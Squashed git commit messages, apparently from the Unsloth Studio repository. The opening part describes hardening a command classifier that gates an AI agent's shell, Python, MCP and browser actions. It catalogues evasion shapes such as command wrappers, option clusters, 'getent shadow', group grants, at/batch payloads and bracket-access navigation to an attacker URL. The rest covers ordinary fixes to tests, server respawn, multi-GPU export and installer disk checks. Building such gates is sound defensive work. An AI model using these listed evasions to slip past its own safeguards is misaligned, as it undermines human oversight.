- The openssl socket check was anchored at command position, so a wrapper in
front of it (env, timeout) hid the very thing it was meant to catch. The
subcommand is checked on the resolved command segment now, so the wrapped
and absolute forms are covered. Local openssl (dgst, enc) still runs.
- php runs code from -B, -R and -E as well as -r, which are begin, per-line
and end blocks. Only -r was listed, so the other three ran inline programs
unscreened.
- git worktree remove --force deletes a linked worktree even when it holds
uncommitted work or is locked, but only the first-level subcommand was read
so the nested action was invisible. An unforced remove refuses on a dirty
worktree and stays out, matching how the checkout and switch discard flags
are handled.
- sysctl -w, --system and -p change kernel parameters, and the assignment form
writes without needing a flag. A read-only query stays automatic.
* Fail closed on unscreenable MCP names, alias bodies and stored lookups
- An MCP name whose verb this classifier does not recognise now asks. MCP
tools run on an external server, outside the terminal sandbox and every
backstop under it, and their names are an open vocabulary rather than the
finite set of POSIX utilities, so the denylists could never be complete: a
name built from an unfamiliar verb sailed through as ordinary. A generous
read and write vocabulary keeps the everyday tools running, and the reverse
or repeat of a recognised verb (undelete, reopen, resend) counts as
recognised too. Measured against thirty tool names taken from the common
servers, one still prompts, and that one is the pre-existing execution rule
rather than this one.
- A shell alias body is a command bash runs when the alias is invoked, so it
is screened as a command in its own right, in the classifier and in the
always-on blocklist. This is the same shape as a git alias body, which was
already handled; leaving the shell form out was inconsistent.
- git --config-env=<key>=<envvar> takes its value from the environment, so an
alias key stores code that never appears in the command text at all. The
attached form was skipped entirely because the parser required no equals
sign. An alias key gates it now; ordinary keys are untouched.
- A destructive lookup stored before it is called (a name bound to
getattr(os, "remove")) matched neither the direct call shape nor the alias
collection, so it ran. The binding is tracked now.
- A credential basename only names a file when it appears in a string, but the
whole Python source was being scanned, so `credentials = {}`, a function
called load_credentials and even a comment mentioning credentials all
prompted while performing no I/O. The check applies to string literals now,
with the raw scan kept for source that does not parse.
* Split git short-option clusters and close five more gate gaps
- Git combines short options, so `git push -qf`, `git checkout -qf` and
`git branch -qD` never matched the exact-string flag sets and ran without a
prompt. Clusters are split before the destructive flags are checked. Also
adds the short `-f` spelling to the branch set, which moves a ref and can
abandon its commits.
- `getent shadow` and `getent gshadow` return password hashes straight from
NSS, so the read never spells out a path for the sensitive-path check to
find. The database name is gated instead; ordinary lookups (hosts, passwd)
still run.
- The account-management set covered useradd and usermod but not adduser,
deluser, addgroup, delgroup, groupmod, gpasswd, newusers or chgpasswd, so
`gpasswd -a user sudo` granted group membership silently.
- at and batch hand a payload to atd, which runs it later as this user and
outside this invocation's blocklist, resource limits, timeout and
cancellation. They belong with crontab.
- A command word bash builds without the NAME=value form (printf -v, read)
left nothing at command position to screen. A bare variable executed as a
command that assignment expansion could not resolve now fails closed. A
variable used as a path prefix is deliberately excluded: ${VENV}/bin/python
still leaves a literal basename the scan can read.
* Stop prompting on six inspection shapes and close eighteen gate gaps
Over-prompting fixes, which matter most here since not interrupting ordinary
work is the point of the change:
- `git clean -n` and `--dry-run` list what would be removed and remove nothing,
so they are inspection commands. The subcommand was gated regardless of its
flags; a dry run is now recognised in the same segment.
- The listener check matched a module name anywhere in the line, so
`echo 'python -m http.server'` and grepping for it prompted. It is anchored at
command position now, like the server-binary check beside it.
- An MCP name that reads names its SUBJECT, not the action: `get_release`,
`get_invoice`, `search_code` and `get_code` were prompting because the impact
and runtime-noun patterns fired on the noun. A read verb now suppresses both,
while an execution verb still wins.
- Free text is not a statement. An issue body or chat message that mentions
DELETE FROM, a credential file or a path was read as an action. Statements are
taken from the query-bearing argument names, and paths are skipped only for
the prose names, since a path can be carried under any other name.
- curl and wget presence was decided by substring, so `grep curl notes.txt &&
wget -T 5 ...` lent curl's option letters to wget.
Gaps closed:
- git checkout-index -f overwrites the working tree from the index; git tag -d
and -f delete or replace a ref; git switch -C and checkout -B reset an
existing branch the way branch -f does.
- Ending a process (kill, pkill, killall, taskkill, tskill) or the machine
(shutdown, reboot, halt, poweroff) was ungated, though the Python os.kill
equivalent already prompted. setcap grants file capabilities without sudo.
- A network client behind a wrapper (env curl -T) was missed because the client
check ran before the wrapper was resolved. slogin is a standard ssh alias and
was in neither set. wget spells the request method --method=DELETE.
- A tracer (strace, ltrace, valgrind, perf) runs the rest of the line as a
child, so the real command sat in argument position behind it.
- A redirection may precede the command word, so `</dev/null` hid what followed
from both scanners. `exec -a NAME cmd` puts a name where the command goes, and
the Windows `if exist FILE cmd` form puts an operand there.
- In Python: a walrus binds a module or a callee just like an assignment,
builtins.__import__ is the attribute form of __import__, and psutil ends a
process exactly as os.kill does. The psutil check is keyed on the import so an
unrelated .kill() on a user object keeps running.
- Over MCP: a credential carried in an argument NAME (Authorization, X-API-Key,
Cookie) goes out whatever its value looks like; collaborator and team-member
grants are access changes like the role verbs; and a recurring subscription
bills repeatedly.
* Bound the classifier's input and stop prompting on four more ordinary shapes
Found by simulating the whole corpus against pre-PR main on Linux, macOS and
Windows tokenizers and diffing the two, then feeding the classifier adversarial
input.
Robustness:
- The credential-path pattern backtracks superlinearly, so a long argument made
a single classification take seconds. Measured on main as well as here, so it
predates this change, but this change makes the auto gate the default and so
runs it on every call. Text far past any real path, and a command far past any
real command, now fail closed: they ask rather than spending unbounded time
deciding. Worst case over the adversarial set drops from a hang to 13 ms.
Over-prompting fixes:
- A container CLI reading its own state (docker ps, docker images, docker logs,
kubectl get) is inspection. The whole CLI was gated because the escape lives
in the arguments of run/exec, so the read subcommands were caught with it. An
unrecognised subcommand still asks, so the list can only be too small.
- A python payload is screened with the same analyzer the python tool uses, so
`python -c 'import torch; print(torch.__version__)'` runs while a destructive
one-liner still asks. A payload that does not parse fails closed, since shell
quoting may have mangled it. The other runtimes have no analyzer here and stay
gated.
- An assignment with no command after it runs nothing: every terminal call gets
its own shell process, so `export PATH=...` on its own dies with that process.
Verified against real bash rather than assumed.
- For the search paths other than PATH (PYTHONPATH and friends), a relative
entry points inside the session workdir, which is the agent's own directory,
so `PYTHONPATH=. pytest` runs. An absolute or escaping entry can shadow a real
module and still asks. PATH itself counts for every value, because a relative
entry there is the sharpest form of the hijack (`PATH=. ls` runs ./ls).
Net effect on the probe corpus, identical on all three platforms: ordinary and
inspection commands go from 99 of 136 prompting to 0, dangerous stays at 99 of
99, and the always-on hard-block set loses nothing and gains six entries.
* Tighten the permission-mode comments
Comment-only pass over the code this branch added. Every explanation is
collapsed to the fewest lines that still read clearly, redundant restatements
of the code are dropped, and a handful of blocks that had drifted away from the
constant or branch they describe are moved back next to it.
The non-obvious behaviours keep their note, just shorter: an unforced
`git worktree remove` refusing on a dirty worktree, a bare `-c` yielding an
empty attached value rather than None, `.` being the POSIX synonym for
`source`, prose keys being skipped rather than path keys allowlisted, and the
route keeping an unset mode lenient so non-streaming clients still work.
No code, string literal or test expectation changed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Gate the navigation sinks reached by bracket access
The canvas egress check gated location.assign / location.replace and an
assignment to location.href, and it already handled bracket access for the
fetch family, but not for the navigation sinks. So `location['assign'](url)`
and `location['href'] = url` auto-ran and could navigate the preview frame to
an attacker URL with the page contents appended, which is the same egress the
dot forms already gate.
Both bracket forms are covered now, including a fully bracketed host
(`window['location']['href']`). The names are anchored to location so ordinary
bracket keys stay static: a string's own `['replace']`, an object's `['href']`,
and reading `location['href']` all still run without a prompt.
* Gate seven more ways a command reaches the shell in auto mode
git submodule foreach runs its argument in every submodule, so the payload is
a command in its own right; it now recurses through the terminal classifier and
through the hard-block scan. An awk program can shell out with system() or by
piping to "sh", so the program text is screened for those two shapes while
ordinary field work (awk '{print $1}') keeps running.
setpriv changes privilege and then execs what follows, so it is transparent to
the scan (setpriv --nnp rm -f x resolves rm) and its privilege-raising flags
(--reuid, --ambient-caps, --bounding-set) prompt on their own. fallocate
punches, zeroes or collapses a range in place, which destroys file contents,
so those flags prompt while plain allocation (-l SIZE) does not.
vars(os)["remove"] and os.__dict__["unlink"] resolve an attribute the same way
getattr does, so the module namespace dict is screened with the same key rules,
anchored to a filesystem module so an ordinary d["remove"] stays out.
Removing a package (pip uninstall torch, uv pip uninstall, conda remove) tears
down the environment the backend itself runs in; installing into it does not,
and stays automatic.
The listener check was anchored at command position, so a wrapper in front of
it (env python -m http.server, timeout 60 python -m uvicorn) slipped past. The
module after -m is now resolved at the token level, after wrapper resolution.
Adds 54 rows to the classifier tables covering both directions.
---------
Co-authored-by: danielhanchen <unslothshared@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Fix PDF-grounded QA recipe for QLoRA
* Handle empty unstructured seed columns
* Respect unstructured seed drop toggle
* Add PDF QA QLoRA regression coverage for PR #7107
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix PDF QA recipe import and Alpaca context
* Align PDF QA recipe contract coverage
* Preserve structured seed drop state on import
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep PDF QA integration opt-in without pytest marker
---------
Co-authored-by: imagineer99 <samleejackson0@gmail.com>
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Lee Jackson <130007945+Imagineer99@users.noreply.github.com>
Follow-up to #7435, which fixed _smart_apt_install. Three sites were left.
studio/setup.sh: the WSL GGUF build-deps block is the pre-#7435 install.sh
pattern verbatim. It probes with 'test -r /dev/tty', assumes REPLY=y when that
fails, and then runs the elevated apt-get with stdin open. Its own guard
comment says a password is needed on WSL, so this is exactly the scenario from
issue #7307, and install.sh runs setup.sh in the same install. Give it the same
treatment: a real open probe, -n -k with stdin closed on the headless path, and
the manual command plus the existing _SKIP_GGUF_BUILD degradation on failure.
The helper is defined locally because setup.sh runs as its own process.
install.sh autostart prompt: still used 'test -r /dev/tty' and printed the
question before checking, leaving a dangling prompt in container logs. Reuse
_can_read_tty and move the printf inside the branch.
install.sh interactive escalation: a sudoers denial, a wrong password or an apt
error aborted on the bare message while the headless branch printed what to run
by hand. Make both symmetric.
Co-authored-by: danielhanchen <unslothai@gmail.com>
* studio: fix Backend CI red on main from an ambiguous ordering anchor
test_load_marker_precedes_hub_guard_and_unload fails on main, so every
open PR against the repo inherits the failure.
Root cause. #7239 (a7761e174) reworked the GGUF GPU-pool validation in
_load_model_impl from "if config.is_gguf and effective_gpu_ids is not
None:" to a bare "if config.is_gguf:", placed earlier in the function
than the GGUF load branch. The test anchors on
source.index("if config.is_gguf:"), a first-match search, so it silently
re-anchored onto the GPU-pool statement. #7251 (95f42bcce) then restored
the assertion "= _resolve_inherited_extra_args(" before
"if config.is_gguf:" against a tree where that anchor already pointed at
the wrong statement, and main went red. Checking out 95f42bcce and
running the suite reproduces the same single failure.
The code is correct. _resolve_inherited_extra_args still runs before the
GGUF load branch and before the hub-download guard that consumes
extra_llama_args for require_mmproj, so the guarantee #7251 protects is
intact; only the assertion is wrong.
Fix. Assert that guarantee behaviourally instead of by source offsets.
The new test drives _load_model_impl over a vision GGUF with a stored
--no-mmproj from a previous same-model load and captures the
require_mmproj the hub guard is called with: inherited --no-mmproj gives
False, nothing to inherit gives True, and an explicit request list wins
over the stored one both ways. Moving the resolution call after the
guard makes the inherited case report True and the test fails, so it
detects the reorder the old assertion was meant to catch, without
depending on how many "if config.is_gguf:" statements the endpoint has.
The surviving marker-before-guard-before-unload assertion had the same
ambiguous anchor for its slice start, silently widening the slice past
the GPU-pool block. It now slices from the "if config.is_gguf:" nearest
above the in-flight marker, which pins the load branch.
The structlog test stub gains a get_logger factory so routes/inference.py
is importable when structlog is absent.
34 pass in tests/test_gguf_load_cache_reuse.py (was 32 pass, 1 fail);
350 pass across it plus test_llama_cpp_mmproj_fallback.py and
test_llama_cpp_mtp_detection.py. A full backend run before and after is
identical apart from this test going from fail to pass.
* studio/tests: repair a pre-existing bare structlog stub before importing routes
* studio/tests: tighten the comments on the new load-ordering coverage
* Tighten comments on the load-ordering coverage for PR #7442
The Agents tab landed with three raw px text utilities, so its avatar initials
and the two status pills ignore the UI font size preference and stay fixed while
the rest of the dialog scales.
Swap them for the existing text-ui-11 / text-ui-10 tokens, which is what the rest
of the frontend already uses (149 and 128 call sites respectively).
This is what test_no_raw_pixel_text_utilities guards, so Repo tests (CPU) has been
red on main since the tab was added, and every open PR inherits the failure.
Co-authored-by: danielhanchen <unslothai@gmail.com>
* Fix GGUF tool chat server recovery
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Cover MTP precedence and loosen the replay assertion for PR #7424
Add a regression test for the MTP branch of the tool-loop respawn retry: the
file-wide _make_backend stub forces _maybe_recover_from_mtp_crash to False, so
nothing exercised the case where an MTP crash reload is already claimed and an
ordinary same-config respawn must not run on top of it. Cover both the next
tool-loop request and the final synthesis pass.
Replace the whole-payload equality assertions with a field-wise check. Comparing
the full dict pins max_tokens to the value derived from the dead server's
effective context, so a later fix that rebuilds server-derived defaults after a
respawn would read as a test failure rather than an improvement.
Document that the one-retry budget is per model request, not per chat turn.
* Recover from prefill-time deaths and stop respawn racing the MTP reload
Two gaps in the tool-loop respawn retry, both reproduced before fixing.
A child that exits during prefill has already accepted the socket, so httpx
raises ReadError, WriteError or RemoteProtocolError rather than ConnectError.
Those all arrive before the response opens, which is exactly the window where a
replay is safe, but the helper only caught ConnectError and gave up. Widen the
catch to NetworkError plus RemoteProtocolError. Timeouts stay excluded on
purpose: they mean the server is slow, not dead, and retrying one would spend
the 20 minute first-token budget twice. Windows resets connections where Linux
refuses them, so this also covers the common Windows presentation.
_maybe_recover_from_mtp_crash returns False both when the crash is not an MTP
crash and when an MTP-free reload is already in flight. Callers read that as
permission to respawn, so _respawn_if_dead replayed the crashing MTP kwargs and,
by replacing the process, made the in-flight reload abort on its own newer-load
check. Skip the respawn while that reload owns the corpse. The guard lives in
_respawn_if_dead so the plain chat path gets it too.
Regression tests for both, including a guard against retrying prefill timeouts.
* Release the MTP single-flight claim when the reload never starts
_mtp_runtime_fallback_in_progress is claimed before the reload thread exists, and
only that thread's finally clears it. Two statements ran in between with no unwind
path: re-reading _last_load_kwargs, which an unload can null underneath us, and
Thread.start(), which raises under the thread exhaustion that is exactly the
pressure killing llama-server in the first place. Nothing else ever resets the
flag, so a failure there latched it for the life of the process.
That was survivable before, since respawn ignored the flag. It is not now: the
guard added in db78184be keys off the flag alone, so a latch would silently
disable auto-respawn for every later model, including plain non-MTP ones. Read
the kwargs and process once before claiming, and release the claim if the thread
cannot start.
Restore the whole-payload equality assertions. Comparing field-wise was meant to
leave room for rebuilding server-derived defaults on replay, but the payload is
built once before the retry and re-sent unchanged, so the looser check only
dropped seven real keys and added a vacuous seed comparison.
Also correct the docstring: llama-server flushes its 200 at slot start, so a
death during decode arrives with the response already open. The pre-header window
this covers is an upload still in flight or a request waiting behind busy slots.
* Confirm the child exited before spending the retry
A closing llama-server can beat its own exit status: the socket error arrives while
poll() still reports the process running. _respawn_if_dead then took the alive
branch, handed back the stale _healthy, and the caller read that as a successful
respawn and spent its single retry on the same corpse. When that retry failed,
attempt was no longer 0, so no respawn ever happened and the turn died, with a log
line claiming a respawn that had not occurred. The window matters most for the
pre-header ReadError and RemoteProtocolError shutdowns the retry now covers.
Wait a bounded second for the exit status before calling the child alive. The same
race is already conceded in _maybe_recover_from_mtp_crash, whose recovery thread
polls for 5s because the error can arrive a beat early; 1s here because this runs
on the request path, and a genuinely live server, including one a concurrent caller
has just respawned, still returns promptly.
* Tighten the recovery comments
* Harden the respawn path around concurrent unloads and replacements
Two problems with the reap grace loop, both found by review.
Skip the grace when the server was already replaced. A caller queued on
_respawn_lock behind someone else's respawn woke holding the healthy replacement,
could not tell it from the child its own request had used, and waited out the full
grace. That sleep is under the lock, so the waits serialised: four concurrent
generations cost roughly three grace periods before any retry began. Capture the
process before taking the lock and return early once it has been swapped.
Do not respawn a server that is being torn down on purpose. unload_model() sets
_cancel_event and only clears _last_load_kwargs after the kill, so a request losing
its connection mid-unload could watch that deliberate exit through the grace loop,
read the stale kwargs and load the model straight back; a model switch landing
during the wait was reverted the same way. Re-check the cancel flag and the process
identity under _serial_load_lock before capturing the replay kwargs, matching what
the MTP-crash reload already does.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten the respawn comments
* Do not charge the reap grace to a server that is still serving
The grace loop added for the not-yet-reaped race waits on poll(), which for a
live child never returns, so every transient transport error paid the full
_RESPAWN_REAP_GRACE_S. That sleep is held under _respawn_lock, so the cost
serialised: measured 1002 ms for one caller and 8.02 s for eight concurrent ones,
against 0 ms on main. A working install pays this, not a broken one.
A llama-server's listening socket dies with the process, so a loopback connect
separates the two cases in microseconds. Probe it first and return immediately
when the port still accepts; fall through to the grace only when the port is
gone, which is the case the grace exists for. Back to 0.7 ms for one caller and
0.00 s for eight.
Cross-checked on real hardware over Qwen3.5-2B, Llama-3.2-1B, Gemma-3-4B with
mmproj and Qwen3-30B-A3B: decode throughput within noise of main (-0.06%, -3.71%,
+2.57%, +0.29%, against a 54-232% spread between rounds of a single run), output
byte-identical on every round, tool-path recovery restored on the three families
whose model calls the tool, and plain-chat recovery still working on all four.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Make the respawn lose to a deliberate unload in every window
Two follow-ups on the respawn path, both reproduced first.
Check _cancel_event before the socket fast path. unload_model sets the flag before
it kills, so the child is still accepting when the probe runs; returning the stale
_healthy there aims the retry at a server that is deliberately going away.
Close the unload TOCTOU. The old cancel check sat under _serial_load_lock, which
unload_model never takes, so an unload could land entirely between that check and
load_model and the captured kwargs would restart a model the user had stopped.
Snapshot the kwargs, the flag and a new _unload_epoch together under _lock, the
lock unload does hold, so a teardown is either wholly before the snapshot or
wholly after it. load_model clears _cancel_event on the way in, so the epoch is
the only evidence that survives; when it moves during the reload the replacement
is unloaded again rather than left running.
_lock stays uncontended across load_model, which would deadlock a plain Lock and
block /status for the length of a load. Error-path latency is unchanged: 0.6 ms
for a live server and 0.00 s for eight concurrent callers.
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <unslothai@gmail.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* studio: shard export checkpoint loads across all visible GPUs
Export checkpoint loading always used unsloth's from_pretrained default of
device_map="sequential", which stacks the whole model on GPU0. On a multi-GPU
host this OOMs GPU0 while the other GPUs sit empty, so a GGUF export that would
comfortably fit across the machine fails with CUDA out of memory (#7053).
Add _multi_gpu_device_map_kwargs(): when the CUDA/ROCm host exposes more than
one visible GPU and get_device_map resolves to "balanced" (the same policy the
inference loader already uses), pass device_map="balanced" to every
from_pretrained in load_checkpoint. In every other case -- single GPU, CPU,
MLX, or any probe failure -- it returns {} so the loader default is untouched.
Fixes#7053
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio/save: reach the UUID/MIG fallback, release sharded models before quantize
Two review fixes on the multi-GPU export sharding:
1. UUID/MIG CUDA_VISIBLE_DEVICES masks resolve to no numeric ids, so the
len(visible) > 1 gate skipped get_device_map entirely and large exports on
those hosts still stacked onto GPU0. An empty id list now routes to
get_device_map(None), whose visible-count fallback exists for exactly this
case; a genuinely GPU-less host still resolves "sequential" and keeps the
loader default.
2. The compressed (FP8/NVFP4) export freed GPU memory before its llm-compressor
subprocess only for single-device models -- a plain .to("cpu") is invalid on
an accelerate-dispatched model, so a multi-GPU-sharded checkpoint stayed
resident on every GPU while the subprocess loaded a second copy. The release
is factored into _offload_model_for_quantize_subprocess /
_restore_model_after_quantize_subprocess: dispatched all-GPU shards get their
accelerate hooks removed, move to CPU, and are re-dispatched over the
recorded hf_device_map afterwards. Maps with cpu/disk targets (already
offloading) and quantized models are left alone, as before.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio/save: budget merged tensors per device, restore hooks if CPU offload fails
Two review fixes on the multi-GPU export path:
1. The LoRA-merge save path budgeted every merged tensor against GPU0
(get_device_properties(0) + unqualified memory_allocated()). A merged tensor
lives on the GPU of its source layer, so for a model sharded across GPUs
(the device_map="balanced" this PR enables) GPU1+ could OOM as their weights
accumulated while only GPU0's headroom was checked. Budget against W's own
device via a per-device cache; single-GPU behavior is unchanged (W on GPU0).
2. _offload_model_for_quantize_subprocess removed the accelerate hooks and then
moved a dispatched model to CPU; if that move raised (host RAM too small for
the sharded checkpoint) the model was left hookless and half-moved, breaking
later exports in the same worker. It now re-dispatches (or, for the
single-device path, moves back) on a failed move before aborting the offload.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio/save: release sharded models before the torchao reload too
The portable torchao FP8/INT8 export freed the in-memory model only when every
parameter sat on one device, then reloaded a second copy with
device_map="auto". A checkpoint loaded through the new multi-GPU export map is
accelerate-dispatched across several GPUs, so that single-device gate never
fired and the original stayed resident on every GPU during the reload -- an OOM
for exactly the models large enough to have needed the sharded load.
It now uses the same _offload_model_for_quantize_subprocess /
_restore_model_after_quantize_subprocess pair as the compressed export, which
removes the accelerate hooks, moves to CPU, and re-dispatches over the recorded
hf_device_map afterwards. Those helpers are extended to XPU as well, since
torchao also runs on Intel GPUs and the path they replace covered both.
* studio/save: release quantized and cpu-spilled shards before quantize reloads
Two cases the release helper skipped outright, both of which leave GPU memory
held while the compressed subprocess or the torchao device_map="auto" reload
allocates a second copy:
- Quantized models. ExportBackend.load_checkpoint loads 4-bit by DEFAULT, so the
common Studio export hit the is_loaded_in_4bit guard and kept a quantized shard
on every visible GPU. They are now attempted like any other model: transformers
refuses .to() for some bitsandbytes builds, but that refusal raises before
anything moves, so the existing recovery path restores the model and returns
None -- best-effort where the stack allows it, old behaviour where it does not.
- Maps that spill to CPU. Any non-GPU target disqualified the whole model even
though the GPU-mapped modules were still resident and are exactly what needs
reclaiming. A cpu spill is safe to move (those weights are already in host RAM)
and is now released; only disk/meta targets are still skipped, because
accelerate keeps those parameters off the model and moving would try to
materialize the whole checkpoint. An all-CPU map is skipped as a no-op.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Fix multi-GPU offload for PEFT exports and fall back when sharding OOMs (#7215)
The dispatch branch of _offload_model_for_quantize_subprocess never ran for a
PEFT model: the wrapper proxies _hf_hook, so remove_hook_from_submodules raised
AttributeError and the bare except returned None. Studio always loads adapters,
so the new balanced map turned the offload off (0 percent freed against 91.8 on
the sequential path it replaces).
- resolve the real dispatch root before removing or replaying hooks
- snapshot and replay hooks, tensor placements and instance forwards; a plain
re-dispatch rebuilds hooks against the post-PEFT tree (395 to 1379) and drops
the fused kernels accelerate captured into _old_forward before unsloth patched
- drop the accelerator side of tied_params_map so the offload actually frees
- pass skip_keys on the fallback dispatch_model
- log the swallowed exception instead of returning None silently
- guard _unsloth_save_torchao_with_given_config like its two siblings
- retry the export load once on the loader default when the balanced map OOMs,
which happens when a training or chat job already owns the other GPUs
Measured on 4x B200 with Qwen3-0.6B: 89.9 percent freed bf16 and 79.7 percent
4bit under balanced, logits bit-identical, hooks and placements restored
exactly, 184 Params4bit round-tripped unchanged including nested state2.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Keep the original offloaded until the torchao copy is released, and retie shared weights (#7215)
Two follow-ups from review of 8b6b4ca0b.
_unsloth_save_torchao_with_given_config restored the original inside a finally
that ran as soon as from_pretrained returned, so the original and the quantized
copy were both resident while the copy was still being saved. The restore now
sits in an outer finally that covers saving and releasing quantized_model, which
is what the two sibling paths already do.
The dispatch replay did not preserve tied embeddings. A CPU round trip repoints
every tensor and accelerate's tied_params_map is keyed on the old pointer, so
replaying the hooks produced two independent parameters. Reproduced on a tied
Llama: lm_head picked up its own storage, the embedding was duplicated in VRAM,
and an update to one no longer reached the other. The snapshot now records tied
groups (named_parameters(remove_duplicate=False), since the default hides one
half of every pair) and re-ties them after placements are restored.
Verified: tie preserved, no extra storages, live CUDA storage census identical
before and after, updates propagate again, logits bit-identical, and the 4 GPU
invariants unchanged at 89.9 percent freed bf16 and 79.7 percent 4bit.
* Keep meta tensors out of tie groups, restore accelerate move guards, retry CPU spills (#7215)
Four follow-ups from review of a58f1086b.
Meta tensors all report storage pointer 0, and accelerate parks every
CPU-offloaded parameter on meta, so grouping by pointer collapsed them into one
fake tied group. Reproduced with a balanced map that spills two blocks to CPU:
18 meta parameters in a single group with shapes 64x64, 32x64 and 128x64, which
the retie step would have overwritten with the first one. Meta and null-pointer
tensors are now skipped, and the retie also checks shape.
remove_hook_from_submodules deletes the to/cuda/xpu wrappers dispatch_model
installs to stop a caller moving an offloaded model. The snapshot now records
and replays those alongside forward and _old_forward.
The single-device retry only matched OOM, but a balanced map that spills to CPU
is refused by bitsandbytes with a plain ValueError saying modules were dispatched
to the CPU or the disk (transformers quantizers/quantizer_bnb_4bit.py:128), with
no memory wording. That is now retryable too, which matters because Studio loads
4-bit by default and busy secondary GPUs are exactly when balanced spills.
The torchao path dropped the quantized copy at the end of the try, so a failure
in save_pretrained left it resident while the original was restored. The del
moved into the finally, ahead of the restore.
Four regression tests added; suites now 25 and 9.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Retry exports whose multi-GPU load silently offloads to CPU, and clear the failed torchao traceback (#7215)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments for PR #7215
* Keep gradients across the export offload and release the failed torchao copy (#7215)
* Tighten comments for PR #7215
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: Daniel Han <danielhanchen@gmail.com>
Co-authored-by: Daniel Han <unslothai@gmail.com>
* guard llama.cpp prebuilt against out-of-disk instead of doomed source build
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* address review comments on out-of-disk guard
* keep reusable installs and Windows parity in the out-of-disk guard
* preserve the ENOSPC cause when re-raising fallback errors
* catch out-of-disk before the attempt loop and accept all llama-server layouts
* Fix out-of-disk detection gaps and false positives for PR #7420
Follow-ups found while testing the guard against a real ENOSPC (LD_PRELOAD
shim returning errno 28 under a path prefix, real network, real release):
- hydrate_source_tree retried the next mirror after an ENOSPC and only raised
on the last URL. Both source fallbacks 404 for the published mix commit, so
the reported cause was HTTP 404 and the run fell through to the source build
exactly like before the guard. Stop at the first environment-fatal error.
- The 5 GB preflight rejected hosts that install fine. A full CUDA install
peaks at 0.87 GB, the largest published bundle is 0.77 GB and macOS is
0.01 GB, so at 3 GB free the install succeeded before and exited 4 after,
with the source-build fallback suppressed too. It is now advisory, and a
real ENOSPC still exits 4. This also drops the case where an install
matching an older release plan was rejected before its reuse check.
- ENOSPC raised inside shutil.copytree arrives as shutil.Error with errno
None and no __cause__ or __context__, so it was never classified. That path
covers the hydrated source tree, the runtime overlay and the activation
fallback copy.
- _causal_chain followed __context__ even when __suppress_context__ was set,
so `raise ... from None` over an unrelated ENOSPC reported disk full and
wrongly suppressed the source build.
- TemporaryDirectory now ignores cleanup errors: an rmtree failure on the way
out replaced the in-flight SystemExit and lost EXIT_NO_SPACE.
- setup.sh skips the arm64 CPU last resort after exit 4; it re-ran the same
disk-rejected installer and buried the hint under a second error dump.
- The in-app updater turns exit 4 into a readable message instead of
"installer exited 4" plus a log tail.
Adds tests/studio/install/test_llama_prebuilt_no_space.py covering the
classifier, the advisory warning and the exit codes.
* Fix Python 3.9 breakage and Windows disk-full detection in the out-of-disk guard
Found by running the guard across the whole supported interpreter range
(requires-python is >=3.9,<3.15) and a spoofed [Linux, WSL, macOS, Windows] x
[NVIDIA, AMD, CPU] host matrix.
- TemporaryDirectory(ignore_cleanup_errors = True) is 3.10+, so the previous
commit raised TypeError at install time on 3.9 and turned a working install
into a hard failure. Replaced with a scratch_dir() contextmanager built on
mkdtemp plus rmtree(ignore_errors = True), which behaves the same on every
supported version.
- getattr(exc, "winerror", None) crashed on 3.9. urllib's HTTPError is an
OSError that proxies unknown attributes to a wrapped file object and raises
KeyError, which getattr does not swallow, so any mirror 404 during an install
would have blown up inside the classifier. Read it defensively instead.
- Classify Windows disk-full by winerror as well as errno. CPython's
PC/errmap.h maps ERROR_DISK_FULL (112) to ENOSPC but has no case for
ERROR_HANDLE_DISK_FULL (39), which arrives as EINVAL, so a Windows
os.replace() onto a full disk read as an ordinary failure and fell through to
the source build.
Tests cover both winerror codes, a non-disk winerror, and HTTPError alone and
wrapped in a PrebuiltFallback. 116 simulation cases pass on 3.9 through 3.14.
* Classify quota, flattened Windows and validate-install out-of-disk for PR #7420
- EDQUOT counts as out of space: a quota'd home has free blocks this user
cannot have, so the source build is just as doomed. Reported separately so
df does not mislead. Confirmed end to end with a real kernel EDQUOT: the
installer went from 6 retries then a source build (exit 2) to exit 4.
- Match the flattened Windows disk-full text. copytree stringifies each
per-file OSError, and OSError.__str__ returns early on winerror, so the
text reads [WinError 112] and never [Errno 28]. Captured on a real NTFS
volume. Markers are bracketed so WinError 112 does not match WinError 1120.
- --validate-install now exits 4 on a full disk. It caught PrebuiltFallback
and exited 2 before the classifier ran, and setup.sh answered 2 by deleting
the GPU build that had just succeeded and starting a CPU rebuild that needs
more of the space that ran out. Both halves are needed: the call site only
tested nonzero.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Tighten comments in the llama.cpp out-of-disk guard
---------
Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
* Add Agents settings tab for unsloth start
Adds a Settings > Agents tab documenting the `unsloth start` command:
